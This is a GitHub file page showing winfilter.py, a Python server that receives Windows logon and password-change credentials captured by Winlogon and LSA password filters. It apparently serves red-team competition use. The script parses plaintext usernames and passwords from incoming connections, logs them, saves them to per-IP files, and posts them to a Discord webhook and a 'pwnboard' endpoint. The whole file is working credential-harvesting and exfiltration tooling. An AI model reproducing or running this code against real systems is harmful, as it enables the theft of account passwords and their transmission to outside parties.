-
Notifications
You must be signed in to change notification settings - Fork 5
/
winfilter.py
145 lines (123 loc) · 5.02 KB
/
winfilter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import socket
import requests
import threading
import argparse
import os
import datetime
print_lock = threading.Lock()
def handle_client(conn, addr, args):
data = conn.recv(1024)
print("TEST ", data)
password = (data[data.index(b"\x11") + 1 : data.index(b"\x12")]).decode('ascii', errors='ignore')
if b"\x40\x40" in data: # @@
type = "WinLogon"
username = (data[ : data.index(b"\x40\x40")]).decode('ascii', errors='ignore')
else:
type = "Password Change"
username = (data[ : data.index(b"\x11")]).decode('ascii', errors='ignore')
if "cloudbase" in username:
return
timestamp = datetime.datetime.now().strftime("%G-%m-%d %H:%M:%S")
ip = (data[data.index(b"\x12") + 1 : data.index(b"\x13")]).decode('ascii', errors='ignore')
storage = f"\nTimestamp: {timestamp}\nSource: {ip}\nType: {type}\nUsername: {username} \nPassword: {password}\n\n"
print(storage)
if args.discord != "X":
discordWH(ip, username, password, args.discord)
if args.write:
writeFile(storage, ip)
if args.pwnboard != "X":
updatePwnboard(ip, username, password, args.pwnboard)
if not data:
print_lock.release()
def discordWH(addr, username, password, url):
# Setup Post Request
post = {}
data = {"content": f"{addr} | {username}:{password}", "username": "WinFilter"}
# Send and check result
result = requests.post(url, json=data)
try:
result.raise_for_status()
except requests.exceptions.HTTPError as err:
print(err)
else:
print("Payload delivered successfully, code {}.".format(result.status_code))
def updatePwnboard(ip, username, password, url):
data = {'ip': ip, 'service': 'system', 'username': username, 'password': password, 'message': "credentials from winfilter"}
try:
req = requests.post(url, json=data, timeout=3)
except Exception as E:
print(E)
def writeFile(storage, ip):
with open(f"creds/{ip}", "a") as f:
f.write(storage)
def main():
print(
"""
_____ ____ _____ ______ _____ ____ ____ _________________ ______ _____
|\ \ _____ | ||\ \ |\ \ ____|\ \ | || | / \ ___|\ \ ___|\ \
| | | / /| | | \\ \| \ \ | | \ \| || | \______ ______/| \ \ | |\ \
\/ / | || | | \| \ \ || |______/| || | \( / / )/ | ,_____/|| | | |
/ /_ \ \/ | | | \ | || |----'\ | || | ____ ' | | ' | \--'\_|/| |/____/
| // \ \ \ | | | \ | || |_____/ | || | | | | | | /___/| | |\ \
| |/ \ | || | | |\ \| || | | || | | | / // | \____|\ | | | |
|\ ___/\ \| /||____| |____||\_____/||____| |____||____|/____/| /___// |____ ' /||____| |____|
| | | \______/ || | | |/ \| ||| | | || | |||` | | /_____/ || | | |
\|___|/\ | | ||____| |____| |___|/|____| |____||____|_____|/|____| |____| | /|____| |____|
\( \|____|/ \( \( )/ )/ \( \( )/ \( \( |_____|/ \( )/
' )/ ' ' ' ' ' ' ' ' ' )/ ' '
' '
"""
)
parser = argparse.ArgumentParser(
description="Receive creds from Winlogon + LSA Filters"
)
parser.add_argument(
"--ip",
type=str,
nargs="?",
const=1,
help="IP to listen on (default: 0.0.0.0)",
default="0.0.0.0",
)
parser.add_argument(
"--pwnboard",
type=str,
nargs="?",
const=1,
help="pwnboard url to utilize",
default="X"
)
parser.add_argument(
"--discord",
type=str,
nargs="?",
const=1,
help="discord url to utilize",
default="X"
)
parser.add_argument(
"--port",
type=int,
nargs="?",
const=1,
help="Port to listen on (default: 80)",
default=80,
)
parser.add_argument("--write", dest="write", action="store_true")
parser.set_defaults(write=False)
args = parser.parse_args()
if args.write:
os.system("mkdir -p creds")
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print(f"Listening on {args.ip}:{args.port}\n")
s.bind((args.ip, args.port))
s.listen(100)
try:
while True:
conn, addr = s.accept()
t = threading.Thread(target=handle_client, args=(conn, addr, args,))
t.start()
except KeyboardInterrupt:
exit(0)
main()